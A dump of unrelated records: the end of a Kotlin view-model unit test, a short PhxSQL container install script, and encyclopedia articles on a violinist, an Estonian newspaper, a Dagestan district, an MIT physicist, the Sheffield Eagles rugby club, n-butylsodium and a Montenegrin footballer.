fun `test that view model initialization sets onboarding shown to true`() = runTest {
val monitorSyncByWiFiStateFlow = MutableStateFlow(false)
whenever(monitorSyncByWiFiUseCase()).thenReturn(monitorSyncByWiFiStateFlow)
initViewModel()
verify(setOnboardingShownUseCase).invoke(true)
}
@Test
fun `test that stalled issues count is updated when stalled issues are fetched`() = runTest {
whenever(monitorSyncStalledIssuesUseCase()).thenReturn(flow {
emit(stalledIssues)
awaitCancellation()
})
whenever(monitorSyncSolvedIssuesUseCase()).thenReturn(flow {
emit(solvedIssues)
awaitCancellation()
})
initViewModel()
underTest.state.test {
assertThat(awaitItem().stalledIssuesCount).isEqualTo(1)
cancelAndIgnoreRemainingEvents()
}
}
@Test
fun `test that snackbar is shown when issues are resolved`() = runTest {
whenever(monitorSyncStalledIssuesUseCase()).thenReturn(flow {
emit(stalledIssues)
awaitCancellation()
})
val monitorSyncByWiFiStateFlow = MutableStateFlow(false)
whenever(monitorSyncByWiFiUseCase()).thenReturn(monitorSyncByWiFiStateFlow)
val selectedResolution = StalledIssueResolutionAction(
resolutionActionType = StalledIssueResolutionActionType.CHOOSE_LOCAL_FILE,
actionName = "Choose remote file",
)
val stalledIssueUiItem: StalledIssueUiItem = mock()
val stalledIssue: StalledIssue = mock()
whenever(stalledIssueItemMapper(stalledIssueUiItem)).thenReturn(stalledIssue)
initViewModel()
underTest.handleAction(
SyncListAction.ResolveStalledIssue(
stalledIssueUiItem, selectedResolution
)
)
verify(resolveStalledIssueUseCase).invoke(
selectedResolution, stalledIssue
)
underTest.state.test {
assertThat(awaitItem().snackbarMessage).isEqualTo(R.string.sync_stalled_issue_conflict_resolved)
cancelAndIgnoreRemainingEvents()
}
}
@Test
fun `test that when monitorSyncSolvedIssuesUseCase emit list then it updates shouldShowCleanSolvedIssueMenuItem to true`() =
runTest {
whenever(monitorSyncSolvedIssuesUseCase()).thenReturn(flow {
emit(solvedIssues)
awaitCancellation()
})
val monitorSyncByWiFiStateFlow = MutableStateFlow(false)
whenever(monitorSyncByWiFiUseCase()).thenReturn(monitorSyncByWiFiStateFlow)
initViewModel()
underTest.state.test {
assertThat(awaitItem().shouldShowCleanSolvedIssueMenuItem).isTrue()
cancelAndIgnoreRemainingEvents()
}
}
private fun initViewModel() {
underTest = SyncListViewModel(
setOnboardingShownUseCase = setOnboardingShownUseCase,
monitorSyncStalledIssuesUseCase = monitorSyncStalledIssuesUseCase,
resolveStalledIssueUseCase = resolveStalledIssueUseCase,
stalledIssueItemMapper = stalledIssueItemMapper,
monitorSyncSolvedIssuesUseCase = monitorSyncSolvedIssuesUseCase,
clearSyncSolvedIssuesUseCase = clearSyncSolvedIssuesUseCase,
monitorSyncByWiFiUseCase = monitorSyncByWiFiUseCase,
getAccountTypeUseCase = getAccountTypeUseCase,
monitorAccountDetailUseCase = monitorAccountDetailUseCase,
)
}
}
``` |
Edna Michell is an Israeli-American violinist, pedagogue, and founder and director of music festivals, institutes, and concert series, known for her versatility and her efforts to expand the violin and chamber music repertoire.
Early career
Michell was born in Tel Aviv, and began violin studies at the age of four with Moshe Hopenko, a pupil of Leopold Auer. She continued her studies at the Rubin Academy in Tel Aviv with Alice and Lorand Fenyves and Ödön Pártos, who were students of Jenő Hubay. At a very young age, she was awarded the Yehudi Menuhin special scholarship to continue her studies in London with Menuhin and Max Rostal (a disciple of Carl Flesch). In London, she was reportedly the youngest graduate ever of the Guildhall School of Music, and won the Academy Prize for Chamber Music. Michell later studied with Ivan Galamian in the United States, and worked with Zino Francescatti and Henryk Szeryng. Michell's integration of the Auer, Hubay, Flesch, and Galamian schools of violin methods became a decisive influence in her life of performance and teaching.
In her teens, Michell began touring internationally, performing in recitals and with orchestras in Great Britain, Europe and Central and South America. Following Michell's London debut at Wigmore Hall, Menuhin presented her with a Vincenzo Rugeri violin. Claudio Arrau, upon hearing her, wrote that "She is a splendid musician and has the approach of a serious dedicated artist. Hers is a natural gift for the instrument..." Arrau's efforts enabled Michell to make her New York debut at Town Hall. Michell has performed as a duo with harpsichordist Fernando Valenti and with classical guitarist Rey de la Torré.
Adirondack–Champlain Festival
Michell was artistic director of the Adirondack–Champlain Festival. The festival began as a weekend of concerts and expanded into a summer-long lineup of events and programs throughout the region. Festival performers included Michael Rabin, Julius Katchen, Gary Graffman, Claude Frank, János Starker, Aldo Parisot, Ivan Moravec, and Valenti. String quartets that performed included the Amadeus, Guarneri, Hungarian, and Emerson, and other groups that performed included the Cantilena Chamber Players/Cantilena Piano Quartet, and the Beaux Arts Trio. Other performing artists included the dancers Melissa Hayden, Patricia McBride, Jacques D' Amboise and Edward Villella, and folk singers Odetta and Pete Seeger.
The Festival included an Institute of Advanced Musical Studies with Michell, Starker, Parisot, Roman Totenberg, György Sebők and Walter Trampler, and Symposia on Music Criticism and New Music led by Virgil Thomson, George Crumb, Lukas Foss, and Alfred Frankenstein, among others. Of the symposia, Frankenstein wrote in Musical America that "both programs bore the same rubric: the contemporary musical experience. They may not have defined all the contemporary musical experience, but what they did define was so beautiful and so magnificently brought of that one wished for nothing else. Modern music was superlatively well served." In Newsweek, Hubert Saal described the festival as "informal but highly sophisticated".
Cantilena Chamber Players/Cantilena Piano Quartet
Michell was the founder and guiding spirit of the Cantilena Chamber Players/Cantilena Piano Quartet, an ensemble known for performing well-known masterworks, premiering new compositions, and reviving forgotten or lesser-known masterworks from the 19th century re-discovered by Michell. She inspired over twenty composers to write new compositions for the ensemble. The Cantilena Chamber Players/ Cantilena Piano Quartet has performed around the world, including the Helena Rubinstein Concerts, a series founded by Michell. Cantilena, with Menuhin, was invited to perform a special concert at the Lake Placid Winter Olympics.
Reception
Michell has received outstanding reviews throughout her career. Music and Musicians described her as "a violinist of rare gifts", and the Montreal Star wrote that "her thrilling tone has a vibrancy which sends chills down one's back and she is in possession of a technique which is quite stunning in its virtuosity." The Strad wrote that "Michell, in particular, has the same ability to soar rasphodically above the bar lines that made Menuhin's own violin playing so eloquent and memorable." Of a performance in Mexico, Novadades wrote that "[She] captivated the audience. Edna Michell's violin sings, translating deep sorrow and great happiness."
Collaboration
Michell maintained a collaborative relationship with her mentor Menuhin, which included a wide variety of musical projects, performances in concert halls, television programs, and recordings. Their recordings included Orpheus and Euridice by Foss, dedicated to Michell and Menuhin, and by Camille Saint-Saëns, and Concertino for Piano Trio and String Orchestra by Bohuslav Martinů.
Compassion Through Music
Michell's recent activities include Compassion Through Music, an ongoing project she created with Menuhin. Leading composers from around the world have written new works inspired by the theme of universal compassion. The project reflects Michell and Menuhin's belief that compassion is critical to the fate of humanity and that through music, listeners may be moved to connect more deeply with others.
Twenty-five composers have contributed pieces to the project, including Foss, Steve Reich, Philip Glass, John Tavener, Chen Yi, Somei Satoh, Wolfgang Rihm, Hans Werner Henze, Boris Tishchenko, Poul Ruders, Kaija Saariaho, Petr Eben, Josef Tal, Iannis Xenakis, György Kurtág, Yinam Leef, Shulamit Ran, and Karel Husa.
A CD of the first fifteen pieces composed for the project, entitled Compassion, was released by EMI. It was praised by critics, with Edward Greenfield writing in Gramophone that "It is due to the energy and application of the violinist Edna Michell that this impressive collection of pieces was written by leading composers ... With excellent playing from Michell and all the contributors, it is a memorable, very well-recorded disc." A second CD is forthcoming.
Other activities
Michell has taught at the Yehudi Menuhin Schools in England and Switzerland, Manhattan School of Music, SUNY Purchase, and is on the faculty of the Mannes College of Music. She has conducted master classes around the world, and has frequently served as a jury member of international violin competitions. Michell and the Cantilena Chamber Players / Cantilena Piano Quartet recorded for Arabesque, EMI/Angel, Grenadilla, Musical Heritage, New World Records, Point, Pro Arte and Supraphon. Michell plays J.B. Guadagnini 1769 and Samuel Zygmuntowicz 1996 violins.
References
Year of birth missing (living people)
Living people
Israeli classical violinists
American classical violinists
American women violinists
Jewish classical violinists
American people of Israeli descent
Israeli Jews
Musicians from Tel Aviv
Israeli women violinists
Women classical violinists
21st-century classical violinists
21st-century American women musicians
21st-century American violinists |
Meie Maa is a newspaper published in Estonia.
References
Newspapers published in Estonia
Saare County |
The Gunibsky okrug was a district (okrug) of the Dagestan Oblast of the Caucasus Viceroyalty of the Russian Empire. The area of the Gunibsky okrug is included in contemporary Dagestan of the Russian Federation. The district's centre was Gunib.
Administrative divisions
The subcounties (uchastoks) of the Gunibsky okrug were as follows:
Demographics
Russian Empire Census
According to the Russian Empire Census, the Gunibsky okrug had a population of 37,639 on , including 18,890 men and 18,749 women. The majority of the population indicated Avar to be their mother tongue.
Kavkazskiy kalendar
According to the 1917 publication of Kavkazskiy kalendar, the Gunibsky okrug had a population of 76,175 on , including 38,079 men and 38,096 women, 76,088 of whom were the permanent population, and 87 were temporary residents:
Notes
References
Bibliography
Okrugs of Dagestan Oblast |
Wit Busza is an American physicist, born in Romania and of Polish descent. He is a professor in physics at the Massachusetts Institute of Technology (MIT). He obtained a B.Sc. (1960) and Ph.D. (1964) from University College London. He began teaching at MIT in 1969 and was appointed as full professor in 1979. He was named a Margaret MacVicar Faculty Fellow in 1995. He is a member of the Polish Academy of Arts and Sciences and a fellow of the American Physical Society.
Research interests
Busza's studies are primarily in the field of quark–gluon plasma. He has been the spokesperson of the PHOBOS experiment at the Relativistic Heavy Ion Collider. PHOBOS has the largest pseudorapidity coverage of all detectors and is tailored for bulk particle multiplicity measurement.
Awards
Buechner Prize for Outstanding Contributions to the MIT Physics Education Program (1990)
MIT School of Science Prize for Excellence in Undergraduate Teaching (1993)
References
External links
Wit Busza Interview - Special Topic of Hadron Colliders
Living people
Year of birth missing (living people)
21st-century American physicists
Massachusetts Institute of Technology School of Science faculty
Members of the Polish Academy of Learning
Fellows of the American Physical Society |
The Sheffield Eagles are a professional rugby league club that play in the Betfred Championship. The club play their home games at the Olympic Legacy Park (OLP) on the former site of Don Valley Stadium, their former ground. The original club was formed in 1984 and formerly competed in the Super League. The new, current club was formed in 2000 following a merger of the old club with Huddersfield Giants. The old club's biggest achievement was winning the Challenge Cup in 1998. Sheffield were the inaugural winners of the 1895 Cup, after they beat Widnes at Wembley Stadium on 24 August 2019.
History
1982–1984: Foundation of original Eagles
In 1982, Huddersfield captain and chairman of the Players' Union, Gary Hetherington, missed out on a coaching job at York F.C. He decided to form his own club in Sheffield. The original plan to enter the Second Division in 1983–84 fell apart when Sheffield United pulled back from their promise to let the new team play its home games at Bramall Lane.
The club eventually joined the Second Division in 1984, coached by Alan Rhodes, they played at the Owlerton Stadium. A competition was run in the Sheffield Star newspaper to find a name for the new club and "Sheffield Eagles" was the winner. The first Eagles league game was on 2 September 1984 when they beat Rochdale Hornets, 29–10. The match took place the day after the club's sponsor went bust. Hetherington was both manager and player in the first season, building the team using experienced players from traditional areas. He also began signing up promising young players, one of whom was Mark Aston, later to be a critical part of the Eagles' survival as a club and current head coach.
By November the club was close to folding because of financial problems. Sheffield beat Wakefield Trinity to set up a John Player Special Trophy first round tie against Leeds Rhinos. This lucrative game generated enough cash to see out the season.
1985–1998: Progress and Challenge Cup win
On the field the club progressed steadily, improving their league position until in 1988/89 they finished third in the league table and made it to the Second Division Premiership final at Old Trafford. In the final they outplayed Swinton, beating them by 43–18 and gaining promotion to the top flight of rugby league. Sheffield's record attendance at Owlerton was set at 3,636 for a third-round Challenge Cup game against Oldham in 1989.
In the wake of the Hillsborough disaster, stadium safety became an issue in British sport and Owlerton was declared unfit to stage professional rugby league. Eagles were forced to play their home games at seven different venues including Hillsborough itself, Bramall Lane, Recreation Ground, Oakwell Stadium and Belle Vue. They survived one season in the top flight but were then relegated. This was a temporary decline as they immediately regained their place in the First Division, winning the Second Division title and Premiership. The Eagles slowly established themselves as a top flight club.
Don Valley Stadium became home for the club in September 1990, it had been built for the 1991 World Student Games held in Sheffield. In May 1991, Eagles signed their first local recruit, Jason Davidson. In 1992 they reached the Yorkshire Cup final, losing to Wakefield Trinity.
Bill Gardner became coach in July 1993 season replacing Gary Hetherington who stood down from his coaching role. In December following a run of five defeats, he was sacked and Hetherington took over as coach again.
Sheffield was included on the schedule for a game against the Kangaroos during their 1994 Kangaroo Tour and were defeated, 80–2, in the first game following the first test match at Wembley. This was the highest score by a Kangaroo touring team in England since they had defeated Bramley, 92–7, on the 1921–22 tour. The Kangaroos ran in 14 tries to nil at Don Valley Stadium. However, because of the tie the club benefited from a significant financial gain.
In March 1995, Sheffield pulled out of a proposed merger with Doncaster following a "breach of confidentiality"; Sheffield were then set to take-over 'The Dons' in a deal with administrators, which fell through after the RFL declared Doncaster players to be free agents.
When a Rupert Murdoch-funded Super League competition was first proposed, part of the deal was that some traditional clubs would merge. Sheffield were again down to merge with Doncaster to form a South Yorkshire club that would compete in Super League. This, along with other proposed mergers, were strongly opposed by supporters and never materialised. As Sheffield Eagles the club became a founder member of Super League in 1996 and took part in the first game of the Super League era against Paris Saint-Germain.
In November 1996, chief executive Gary Hetherington sold his controlling interest in Sheffield Eagles to take over Leeds. Phil Larder became head coach, Paul Thompson, Chairman of Sheffield-based Sanderson Group Plc, became the majority shareholder, and Eagles plc became the first rugby league club to be floated on the Stock Exchange.
John Kear took over the coaching reins at Sheffield Eagles in 1997, taking them to the Premiership Semi-final in that year. The club's record attendance was set in August 1997 when 10,603 spectators saw them play Bradford Bulls.
On 2 May 1998, having beaten Leigh Centurions, Egremont Rangers, Castleford Tigers and Salford Red Devils, the Eagles faced Wigan Warriors at Wembley Stadium in the final of the Rugby League Challenge Cup. Wigan were overwhelming favourites with a side containing some of the best players of the modern era, including Andy Farrell, Jason Robinson and Henry Paul. Sheffield coach John Kear devised a game plan that was executed perfectly by the team on the day. Star of the show was scrum half Mark Aston, who won the Lance Todd Trophy as man of the match. The Eagles led from start to finish, running out 17–8 winners in one of the biggest upsets in the history of the competition.
Huddersfield–Sheffield Giants
Just as the club seemed to be on the verge of its greatest period, following the win in the cup final, things began to go wrong. The expected increase in attendances did not happen and the team did not perform well, finishing close to the relegation zone only one year after the Wembley triumph. Finances plummeted and with little outside help it became apparent that the Eagles were not viable in their current state. Just a year after performing the greatest upset in Challenge Cup history, the Eagles announced that they were to fold at the end of the season should no investors come on board to save the club.
In late 1999 the Rugby Football League wanted to lower the number of clubs in Super League. One of the measures they put in place was the option for two clubs to merge for the sum of £1,000,000. Fearing this was the only way to keep rugby league alive in Sheffield, the club accepted an offer from the RFL to merge with another struggling team, the Huddersfield Giants, making a new team Huddersfield-Sheffield Giants, who were scheduled to play games in both Sheffield and Huddersfield in Super League V. The Huddersfield-Sheffield side's away strip was in the Sheffield Eagles colours. The merged Huddersfield-Sheffield team did not last the season before reverting to the Huddersfield name. An immediately resurrected Sheffield Eagles would continue in the lower leagues.
2000–2005: 'New' Sheffield Eagles
The merger with Huddersfield was not accepted by Sheffield supporters , and so former player Mark Aston formed a new Eagles phoenix club, earning a place in the Northern Ford Premiership for the 2000 season, taking Bramley's vacated place.
From 1999 to the present the Eagles have played in the semi-professional leagues, first the Northern Ford Premiership and then the second division of the LHF Healthplan National League. Mark Aston assumed the role of player manager, continuing on the field until 2004, when he officially retired from playing. After the 2004 season Mark replaced his father Brian as chief executive, bringing in a new head coach in Gary Wilkinson at the end of the following year. As soon as the new club was reformed, it vowed to never overstretch its finances to achieve success. This made life difficult as the Eagles were denied the money received by other clubs in the NFP for TV rights as part of the deal that allowed them to re-enter the professional leagues.
2003 brought two club records; Sheffield suffered their record defeat on 2 February 2003 0–88 to Hull F.C. However, on 3 August 2003, London Skolars were the victims as Sheffield Eagles won 98–4, a record league victory to this day. In 2003 the team finished top of National League Two and reached the Grand Final, agonisingly losing 13–11 to the Keighley Cougars. Victory would have sent the Eagles into National League One, but this was not to be and a second play-off against the Batley Bulldogs ended in failure for the demoralised squad.
2006–2008: Promotion
Until 2006 the team struggled to match this effort, with key players retiring or being signed by bigger clubs – young players Mitchell Stringer and Andy Raleigh went on to sign for Super League clubs. At the start of the 2006 season Gary Wilkinson was brought in as coach and the team finished in second place, qualifying for the play-offs for the right to join champions Dewsbury Rams in National League One. On 22 September 2006 they beat the Crusaders at the Don Valley Stadium to qualify for the Grand Final for a second time. In the Grand Final on 8 October they beat Swinton Lions 35–10 to be promoted to National League One. To the surprise of many Wilkinson resigned as head coach on 15 October 2006, citing personal reasons. National League One was seen as a springboard to a potential return to Super League, although this would be dependent on the RFL's continuation of the franchising or licensing system. As Sheffield Eagles' chairman Ian Swire, remarked, after the 2006 Grand Final victory, "We showed on Sunday that we can compete, and that in the near- to not-too-distant future we will get back into Super League".
Mark Aston returned as coach in 2007. The 2007 season started slowly for the promoted team but ended with the Eagles defying the bookmakers, who had them as favourites for relegation, by finishing 6th in the league table and qualifying for the play-offs, where they lost a close game to Halifax.
2009–2012: Move to Bramall Lane
In 2009 National League 1 was renamed the Co-operative Championship. The 2009 season started unevenly with incoming International players delayed by visa problems. However, the Eagles rallied to progress to the 5th round of the Challenge Cup and produced consistent performances, gaining at least a losing bonus point from all their League games. Despite a number of long-term injuries, the team finished 3rd only narrowly missing out on 2nd place; their highest finish since the re-launch, and they again qualified for the play-offs. In the play-offs they were expected to easily beat Featherstone Rovers in the first match at Don Valley Stadium. However, Rovers surprised many by winning, ending Sheffield's season at the first play-off hurdle.
On 16 October 2009, the Eagles announced they would be moving their home games from the start of the 2010 season to Bramall Lane, home of Sheffield United in a bid to increase attendances and atmosphere at games which now take place on Sunday afternoons. The Eagles moved to Bramall Lane on 11 April 2010, losing by 40–16 to Featherstone Rovers. The attendance of 2,871 was 3 times the average the Eagles achieved at Don Valley Stadium and the club hope to push on from there to achieve a Super League licence. The 2010 season saw the club finish in 6th place, making the play-offs and surprising both Leigh Centurions and Barrow Raiders with away victories before falling to eventual champions Halifax.
The 2012 season was the Eagles most successful to date, reaching the semi-finals of the Northern Rail Cup for the first time and beating Featherstone Rovers 20–16 in the Grand Final to become Championship Champions. The final was a re-match of the 2011 fixture which was the Eagles 1st ever appearance at the final but were beaten soundly on that occasion 40–4. The Eagles defeated Batley, Halifax and Leigh to reach the Grand Final with Scott Turner, Misi Taulapapa, Quentin Laulu-Togagae and Dane McDonald all scoring for the Eagles to bring the trophy back to Sheffield.
The Eagles played 3 home games at Bramall Lane in 2012 with the rest taking place at Don Valley including a crowd on 1,895 watching the opening league game against Swinton Lions at Don Valley, the Eagles' highest crowd there since the Super League era.
2013–2017: Post Don Valley
The 2013 season was equally if not more successful that the previous season, reaching the final of the Northern Rail Cup for the first time, losing to Leigh at the Shay, but more importantly becoming the first side to win back to back Championship Grand Finals by beating Batley 19–12 at Leigh Sports Village to retain the Championship title.
The Eagles moved back to Owlerton Stadium for the 2014 season as the Don Valley Stadium was scheduled for demolition. The Eagles planned to play at the new Sheffield Hallam University facility at Bawtry Road but unfortunately this was not possible and Owlerton Stadium stepped in at the last minute. Sheffield Eagles announced that they would leave Owlerton for the 2015 season due to new Rugby Football League ground regulations and played the season in nearby Doncaster at the Keepmoat Stadium, home of Doncaster.
In 2016 it was announced the Eagles would play at Sheffield Hallam University's Sports Park. The first league game played by the professional team there was against Halifax and they won 26–6.
In 2017, the club agreed a one-year ground share with Wakefield Trinity at Belle Vue. The club also returned to being a semi-professional outfit after an unsuccessful time as professional.
2018–present: Permanent return to Sheffield
The Eagles made their long-awaited return to their home city at the Olympic Legacy Park in 2018. The new stadium has a 4G pitch and a capacity of 1,889, although this is expected to increase to meet Rugby Football League (RFL) regulations. The first home game back in Sheffield was against Toronto Wolfpack on 11 March, they lost 10–44. Ahead of this season players Greg Burns, Matt James and Ryan Millar agreed to sign on for a further two years. They struck a deal with Super League side St. Helens for players on Dual registration; this helped bolster the squad throughout the season and was considered to be a huge contribution to keeping them in the division. After a seven-game losing streak to open the season, the Eagles finally won, at home against Rochdale by 38 points to 20. The season, however, ended disappointingly as the Eagles finished eighth in the league with the greatest achievement being staying up.
In 2019, however, things were looking up for the side as they brought in 14 new signings, including ex-Eagles Jason Crookes, James Davey and Pat Walker, but lost key players in Joshua Toole (Forbes), Matty Fozard (London). They got off to a flying start as they overcame the challenges of Swinton, Barrow and Bradford in the first month of the new season. That year saw the Eagles return to Wembley for the first time in more than 2 decades to claim the inaugural 1895 Cup by defeating Widnes 38–16. However, their League season was less of a success as they finished in 7th place.
During the off-season, plans to build the Olympic Legacy Park were put into jeopardy as a court case to claim 100% ownership of Sheffield United F.C. found in favour of HRH Prince Abdullah bin Musa'ad bin Abdulaziz Al Saud over Kevin McCabe -one of the main investors to the OLP project for Sheffield. Because of this, there were fears that Mr McCabe would remove plans for his Scarborough Group LTD to head up construction of a new ground on the site at the OLP. However, these fears were quashed when it was revealed construction would go ahead as planned in early 2020.
Sheffield finished the 2021 Championship season in 12th place on the table. In the final game of the year, Sheffield were beaten 78-10 by Featherstone.
Stadiums
Sheffield originally played at Don Valley Stadium. In a bid to increase attendances, the Eagles left Don Valley in 2010 and moved to Bramall Lane where attendances rose to three times more than what they were at Don Valley. The Eagles returned to Don Valley midway through 2011 and stayed there until 2013. Don Valley was demolished in 2014.
After being left homeless the club moved to the city's greyhound track, Owlerton Stadium in Hillsborough where they had previously played games between 1984 and 1989. The club experienced a dip in form at Owlerton, with there being temporary changing rooms and poor facilities.
The club moved out of Sheffield for the first time in 2015 when they made the temporary switch to the Keepmoat Stadium, Doncaster. Here they ground shared with Doncaster Rovers and local rivals Doncaster, who were playing in the same division which meant the two clubs playing an extra home game when they faced each other. At the end of the season, during The Qualifiers, the Eagles' were allowed to return to Bramall Lane for games against Hull K.R. and Wakefield Trinity. They also hosted Hull F.C. at the Lane, in a Challenge Cup fifth round tie.
The Eagles moved to Sheffield Hallam University's Sports Park on Bawtry Road, Brinsworth, Rotherham in 2016, where the reserves played their home fixtures. Temporary seating was erected to bring the capacity to 3,000 to meet Rugby Football League (RFL) regulations.
After finding themselves homeless again with work on the Sheffield Olympic Legacy Stadium delayed and unable to find a home in Sheffield, the Eagles played their home matches at Belle Vue, the home of Wakefield Trinity, for the duration of the 2017 season.
The club finally permanently returned to Sheffield and the Olympic Legacy Park in 2018. Work is due to start on the construction of a £5million stadium in the spring of 2019.
Don Valley Stadium (1999–2009)
Bramall Lane (2010–2011)
Don Valley Stadium (2011–2013)
Owlerton Stadium (2014)
Keepmoat Stadium (2015), (2021)
Sheffield Hallam University Sports Park (2016)
Belle Vue (2017)
Sheffield Olympic Legacy Stadium (2018–2020)
Colours and badge
Colours
The club adopted the colours of the original Sheffield Eagles, playing in red, gold and white. The club's shirts have been predominantly red with either a gold or white V across the front. Away shirts vary in colour with some being black or white. The 2020 home shirt is predominantly red, white and gold. The 2020 away kit is a gold and black strip, black shorts and black socks.
Badge
The original club's badge was an Eagles head inside a crest with The Eagles across the top and Sheffield Eagles in italics across the bottom. The inside of the crest was yellow with a red border. The new club chose to use a different more updated crest to replace the old dated one. The new more modern crest features an eagle with Sheffield Eagles written below it.
Kit sponsors and manufacturers
2022 squad
2022 transfers
Gains
Losses
Players
Players earning international caps while at Sheffield Eagles
Mark Aston won caps for Great Britain while at Sheffield 1991 France
Frédéric Banquet won caps for France while at Sheffield 1995 ?-caps
Paul Broadbent won caps for England while at Sheffield 1995 France, Fiji, South Africa (sub), 1996 France, Wales, and won caps for Great Britain while at Sheffield 1996 Papua New Guinea, Fiji, New Zealand (3 matches), 1997 ASL (3 matches)
Anthony Farrell won caps for England while at Sheffield 1995 Wales, while at Leeds 1999 France (2 matches)
Matty Fozard won caps for Wales at 2017 World Cup Papua New Guinea (sub), Fiji (sub) and Ireland
Andrew Henderson won caps for Scotland including 2 at 2013 World Cup New Zealand (sub) and USA
Will Hope won caps for Ireland at 2017 World Cup Wales (2 tries)
Lee Jackson won caps for England 1995 France, Australia (2 matches), Fiji, Wales, and won caps for Great Britain 1993 New Zealand (2 matches), 1994 France, Australia (3 matches)
John "Johnny" Lawless won caps for England while at Sheffield 1996 France, Wales
Garry Lo won caps for Papua New Guinea at 2017 World Cup Wales, Ireland (1 try), United States and England (1 try)
Rémy Marginet won caps for France at 2017 World Cup Australia (1 goal), England (sub)
Steve Molloy won caps for England while at Leeds 1992 Wales, while at Featherstone Rovers 1996 France (sub), Wales, while at Sheffield 1999 France (2 matches), and won caps for Great Britain while at Leeds 1993 France, while at Featherstone Rovers 1994 Fiji, 1996 Fiji (sub), New Zealand (sub)
Daryl Powell won caps for England while at Sheffield 1992 Wales (sub), 1995 Wales, France, while at Keighley Australia, South Africa, 1996 Wales, and won caps for Great Britain while at Sheffield 1990 France (sub), Papua New Guinea (2 matches), New Zealand (sub), New Zealand (2 matches), Australia (3 matches), 1991 France (2 matches), Papua New Guinea, 1992 France (sub), France, Papua New Guinea, Australia (3 matches), New Zealand (2 matches), 1993 France (sub), New Zealand (sub) (3 matches), 1994 France (sub), Australia (2 matches), Australia (sub), while at Keighley 1996 Papua New Guinea (sub), Fiji, New Zealand (3 matches)
Keith Senior won caps for England while at Leeds 2000 Australia, Russia, Ireland, New Zealand, 2001 Wales, and won caps for Great Britain while at Sheffield 1996 Fiji, New Zealand, 1998 New Zealand (3 matches), while at Leeds 1999 Australia, New Zealand, 2001 Australia (3 matches), 2002 Australia, New Zealand (3 matches), 2003 Australia (2 matches), 2004 Australia (3 matches), New Zealand (2 matches), 2005 Australia (2 matches), New Zealand (2 matches), 2006 New Zealand (3 matches), Australia (2 matches), 2007 New Zealand (3 matches)
Menzie Yere won caps for Papua New Guinea while at Sheffield. 2009 Pacific Cup: Tonga (2 tries), Cook Islands (2 Tries). 2010 Four Nations: Australia, New Zealand (1 try), England (1 try).
Other notable players
These players are either "Hall of Fame" inductees, or were international representatives before, or after, their time at Sheffield Eagles.
Gavin "Gav" Brown
Paul Carr
Mick Cook
Ged Corcoran
Matt Crowther
Josaia Dakuitoga
Carl De Chenu
Paul Dixon
Rod Doyle
Richard Eyres
Mark Gamson
Jean-Marc Garcia
Damian Gibson
Aaron Groom
Corey Hanson
Jeff Hardy
Andy Hay
Gary Hetherington
Jack Howieson
Michael Jackson
Aled James
Jordan James
Jamie Langley
Dale Laughton
Brendon Lindsay
William "Willie" Morganson
Chris Morley
Martin Pearson
Nick Pinkney
Darren Shaw
Ryan Sheridan
Waisale Sovatabua
Gareth Stephens
Lynton Stott
Whetu Taewa
Frederic Teixido
Chris Thorman
Darren Turner
Etu Uaisele
Dave Watson
Oliver Wilkes
Martin Wood
Malakai Yasa
Reserves
Sheffield Hallam Eagles were formed in 2013 to compete in the new Conference League South. They are a joint venture between the Eagles and Sheffield Hallam University to help young local rugby players progress and serve as a reserve team for the Eagles. They have played matches at the Don Valley Stadium before it was demolished, but their regular home is at Sheffield Hallam University Sports Park. In 2013 under coach Andrew Henderson they lifted the title, beating Nottingham Outlaws, having lost just once all season. In 2014 they also lost just one game, the Grand Final against Valley Cougars. Between these two defeats they registered 32 straight wins. In 2015, they finished 5th. The Hallam Eagles also finished 5th in 2016 with 17 points from 16 games.
Staff
Sheffield Eagles Staff
Seasons
League history
Super League era
Honours
League
Second Division / Championship:
Winners (2): 2012, 2013
Runners up (1): 2011
Third Division / League 1:
Playoff Final: 2006
Cup
Challenge Cup:
Winners (1): 1998
Runners up (0):
1895 Cup:
Winners (1): 2019
Runners up (0):
Championship Cup:
Runners up (1): 2013
Tolent Cup:
Winners (5): 2000, 2001, 2003, 2004, 2005
Runners up (0):
South Yorkshire Cup:
Winners (8): 2001, 2002, 2007, 2008, 2010, 2012, 2013, 2014
Runners up (0):
Records
Player records
Most tries in a game: 5 by Menzie Yere vs Leigh East 7 April 2013, Quentin Laulu-Togaga'e vs Rochdale Hornets 7 September 2014 & Daryl Powell (vs Mansfield Marksman) 2 January 1989
Most goals in a game: 14 by Dominic Brambani vs Leigh East 7 April 2013
Most points in a game: 32 by Roy Rafferty (vs Fulham) 21 September 1986
Most tries in a season: 46 by Menzie Yere, 2013
Most goals in a season: 169 by Dominic Brambani, 2013
Most points in a season: 361 by Dominic Brambani, 2013
Most career tries: 195 by Menzie Yere, 2009–19
Team records
Highest score for: 112–6 vs Leigh East 7 April 2013
Highest score against: 0–88 vs Hull FC, 2 February 2003
Highest attendance: 10,603 vs Bradford Bulls, 16 August 1997
Notes
References
External links
Eagles
Rugby clubs established in 1984
1984 establishments in England
Super League teams
Rugby league teams in England |
```shell
#!/bin/bash
set -x
cd /phxsql/tools
python2.7 install.py -i "$(hostname -I)" -p 54321 -g 6000 -y 11111 -P 17000 -a 8001 -f /data "$@"
exec tail -f /dev/null
``` |
n-Butylsodium CH3CH2CH2CH2Na is an organometallic compound with the idealized formula NaC4H9. Like other simple organosodium compounds, it is polymeric and highly basic. In contrast to n-butyllithium, n-butylsodium is only of specialized academic interest.
Preparation
n-Butylsodium is prepared from n-butyllithium and t-butoxysodium.
Properties
In n-Butylsodium, the Na-C bond has ionic character, with a negative charge on the end carbon atom. n-Butylsodium is insoluble in saturated hydrocarbons. It reacts with unsaturated hydrocarbons. Soluble adducts are produced with Lewis bases such as tetramethylethylenediamine or tetrahydrofuran.
Reactions
n-Butylsodium reacts with alkylbenzene or allylbenzene compounds to give new organosodium compounds. With toluene the major product is benzylsodium.
n-Butylsodium reacts with 1-bromonaphthalene to make 1-sodiumnapthalene and 1-bromobutane, but there are few such metathesis reactions.
References
Organosodium compounds |
Neđeljko Vlahović (Cyrillic: Недељко Влаховић; born 15 January 1984) is a Montenegrin professional footballer who plays as a midfielder for Kom in the Montenegrin Second League.
Club career
Born in Montenegrin capital Podgorica, he played with FK Kom, FK Zora and FK Budućnost Podgorica before joining FK Rudar Pljevlja and playing with them as captain 7 consecutive seasons in the Montenegrin First League. After making 5 appearances with Rudar in the 2016–17 Montenegrin First League, in the last day of the summer transfers window, he left Rudar and moved for first time abroad in his career, by joining Serbian SUperLiga side FK Radnik Surdulica.
On 15 February 2019, Vlahović returned to Kom.
International career
Vlahović has made one appearance for the Montenegro national football team, an August 2007 friendly match against Slovenia in which he came on as a late substitute for Branko Bošković.
Honours
